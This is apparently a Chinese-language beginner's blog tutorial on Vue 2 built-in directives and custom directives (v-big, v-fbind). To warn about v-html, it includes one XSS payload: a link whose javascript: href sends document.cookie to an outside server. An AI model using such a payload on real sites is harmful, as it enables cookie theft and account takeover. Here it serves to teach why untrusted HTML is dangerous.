初学Vue
1、常见内置指令
- v-bind:单向绑定解析表达式,可简写为:xxx
- v-model:双向数据绑定
- v-for:遍历数组、对象、字符串
- v-on:绑定事件监听,可简写为@xxx
- v-if:条件渲染(动态控制节点是否存在)
- v-else:条件渲染(动态控制节点是否存在)
- v-show:条件渲染(动态控制节点是否展示)
上面这些指令用法前面几篇文章有用过,这里就不详细展开讲了,主要讲讲前面没接触过的一些指令,如下:
- v-text:向其所在标签渲染文本内容,并且v-text会替换掉节点文本中的内容,而插值语法不会,此外,该指令不会将传入含有标签的字符串当作标签使用。
<body>
<div id="root">
<div>{
{name1}}<div>
<div v-text="name2">啦啦啦啦</div>
<div v-text="name3"></div>
</div>
<script>
new Vue({
el:"#root",
data:{
name1:"小明",
name2:"晓明",
name3:"<span>效明</span>"
}
})
</script>
</body>
结果如下:
- v-html
- 作用:向指定节点中渲染包含html结构的内容
- 插值语法的区别:
(1)v-html会替换掉节点中所有的内容,而插值语法不会
(2)v-html可以识别html结构 - 注意,v-html的使用有安全性问题
(1)在网站上动态渲染任意html是非常危险的,容易导致XSS攻击
(2)一定要在可信任的内容上使用v-html,千万不要在用户提交的内容上使用
示例一:
<body>
<div id="root">
<div>{
{name1}}</div>
<div v-html="name2">啦啦啦啦</div>
<div v-html="name3"></div>
</div>
<script>
new Vue({
el:"#root",
data:{
name1:"小明",
name2:"晓明",
name3:"<span>效明</span>"
}
})
</script>
</body>
结果如下:
示例二:面向“prison”编程
如果我们用v-html指令接收一个具有诱惑性的内容,如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../JS/vue.js"></script>
<title>Document</title>
</head>
<body>
<div id="root">
<div v-html="info"></div>
</div>
<script>
new Vue({
el:"#root",
data:{
info:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>我找到“有用”的资源了,快来!!!</a>"
}
})
</script>
</body>
</html>
可以通过document.cookie获取到浏览器cookie中存储的数据(这里的coolie时手动设置的,直接再浏览器cookie那儿改),如下:
点击上面的超链接后,对应的服务器(这里就是百度的服务器地址)就会获取到浏览器cookie中保存的数据
而拿到cookie的人就可以任意的对你的个人账号进行操作,这或许也是访问不良网站被盗号的原因之一(doge)
不过现在大大多数浏览器都拒绝使用第三方cookie,也保护好了用户隐私,此外,浏览器上的cookie中的数据如果被http协议限制了,那么同样的不能拿到cookie中的数据。
- v-cloak
1、这个指令是没有值的
2、本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
3、通常使用css配合v-cloak可以解决网速慢时页面展示出{ {xxx}}的问题
看如下示例
<body>
<div id="root">
<div>{
{name}}</div>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
name:"小明"
}
});
</script>
</body>
当网速特别慢,页面内容不能立马加载出来时
在标签中加入v-cloak属性时,就不会让模板中{ {name}}先显示在页面上,然后再显示出加载出来的数据,而是等页面完全加载完成后显示数据,不会单独先显示模板中的{ {name}}。
<body>
<style>
[v-cloak]{
display: none;
}
</style>
<div id="root">
<div v-cloak>{
{name}}</div>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
name:"小明"
}
});
</script>
</body>
具体过程如下:
- v-once:没有值,使得所在节点在初次动态渲染后就看做成静态内容了,之后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<body>
<div id="root">
<div v-once>页面第一次加载后就不变:{
{n}}</div><br>
<div>可以不停的加:{
{n}}</div><br>
<button @click="n++">点我n+1</button><br>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:0,
}
});
</script>
</body>
结果参考
- v-pre:
1、可以跳过所在节点的编译过程
2、可利用它跳过没有使用指令语法、没有使用插值语法的节点,从而加快编译。
2、自定义指令
在Vue对象中添加一个配置项directives:{}
2.1 函数式自定义指令
例如:自定义一个v-big指令,和v-text功能类似,作用是将绑定的数值放大10倍。
- 局部配置的方式
<body>
<div id="root">
<h3>当前的n值为:{
{n}}</h3>
<h3>放大10倍后的n值为:<span v-big="n"></span></h3>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:1,
},
// directives是自定义指令的配置属性
directives:{
// 自定义一个big函数,用于放大10倍
// 该函数调用时机:1、指令与元素成功绑定时 2、指令所在模板需要重新解析时
big(element,binding){
// element是使用当前指令的标签,是个真实DOM,这里的值为<span></span>
console.log(element);
// console.log(element instanceof HTMLElement); // true,证明这是个真实DOM
// binding是一个对象
console.log(binding);
element.innerText = binding.value * 10; // binding中有个属性value,存储变化后的n值,之后再放大10倍,作为element的纯文本内容
}
}
});
</script>
</body>
binding对象中的内容如下:
n+1之后,浏览器控制台显示如下
- 全局配置方式
<body>
<div id="root">
<div>当前的值为:{
{n}}</div><br>
<div>放大10倍后的n值为:<span v-big="n"></span></div><br>
<button @click="n++">点我n加1</button>
</div>
<script>
Vue.config.productionTip = false;
// 全局配置方式
Vue.directive("big",function(element,binding){
element.innerHTML = binding.value * 10;
})
new Vue({
el:"#root",
data:{
n:1,
}
});
</script>
</body>
(1)在directives配置项中写的函数的函数名前加上
v-函数名
就组成了一个指令名,函数的作用就是指令的作用。
(2)指令的功能是通过操作原生DOM来实现的
(3)函数调用时机:1、指令与元素成功绑定时 2、指令所在模板需要重新解析时
2.2 对象式自定义指令
例如:自定义一个v-fbind指令,与v-bind指令作用类似,但可以让其所绑定的input元素默认获取焦点
- 局部配置
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../JS/vue.js"></script>
<title>Document</title>
</head>
<body>
<div id="root">
<div>当前n的值为:{
{n}}</div>
<br>
<input type="text" v-fbind="n">
<br><br>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el:"#root",
data:{
n:1,
},
directives:{
fbind:{
// 特殊时刻调用特殊函数
// 指令与元素进行绑定时,bing函数被调用
bind(element,binding){
console.log(this);
console.log("指令与元素进行绑定时,bing函数被调用");
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element,binding){
console.log(this);
console.log("指令所在元素被插入页面时inserted函数被调用");
// 插入页面时获取焦点
element.focus();
},
// 指令所在模板被重新解析时
update(element,binding){
console.log(this);
console.log("指令所在模板被重新解析时update函数被调用");
element.value = binding.value;
}
}
}
});
</script>
</body>
</html>
结果:
第一次加载页面时,bind函数和inserted函数被调用了,其中inserted函数主要用来给插入到页面的input输入框聚焦
点击按钮后,模板刷新,调用了update函数,n的值改变
分析:
(1)通过自定义指令v-fbind,可以完成给指令所在元素聚焦的功能。
(2)这里使用对象的方式完成自定义指令。在对象fbind中使用了指定的三个方法,bind(),inserted(),update(),这三个方法分别在指定时期调用。并且这三个方法的this指向的对象并不是vue,而是window。
(3)这个示例用函数式自定义指令的方式并不好实现,写成函数式时只能完成对象式中bind函数和update函数的功能,并不能完成元素插入页面后聚焦的作用。
函数式自定义指令时,并没有聚焦,因为这里fbind函数只在指令与元素成功绑定时,以及模板解析时调用,将input元素插入到页面的过程中并不会调用到focus函数,因此完成不了页面刷新后,所被绑定元素获取默认聚焦的功能。
- 全局配置
<body>
<div id="root">
<div>当前n的值为:{
{n}}</div>
<br>
<input type="text" v-fbind="n">
<br><br>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false;
// 全局配置
Vue.directive("fbind", {
// 特殊时刻调用特殊函数
// 指令与元素进行绑定时,bing函数被调用
bind(element, binding) {
console.log(this);
console.log("指令与元素进行绑定时,bing函数被调用");
element.value = binding.value;
},
// 指令所在元素被插入页面时
inserted(element, binding) {
console.log(this);
console.log("指令所在元素被插入页面时inserted函数被调用");
// 插入页面时获取焦点
element.focus();
},
// 指令所在模板被重新解析时
update(element, binding) {
console.log(this);
console.log("指令所在模板被重新解析时update函数被调用");
element.value = binding.value;
}
})
new Vue({
el: "#root",
data: {
n: 1,
},
});
</script>
</body>
</html>
2.3 简单总结
一、定义语法
(1)局部指令
对象式new Vue({ directives:{指令名:配置对象} })
函数式
new Vue({ directives(){} })
(2)全局指令
对象式
Vue.directive(指令名,配置对象)
函数式
Vue.directive(指令名,回调函数)
二、配置对象中常用的三个回调函数
(1)bind:指令与元素成功绑定时调用
(2)inserted:指令所在元素被插入页面时调用
(3)update:指令所在函数模板结构被重新解析时调用。三:补充*
1、指令定义时不加前缀v-,但使用时要加v-
2、指令名如果是多个单词,要使用kebab-case命名方式,就是单词全小写,中间用-分开,不要用驼峰命名法。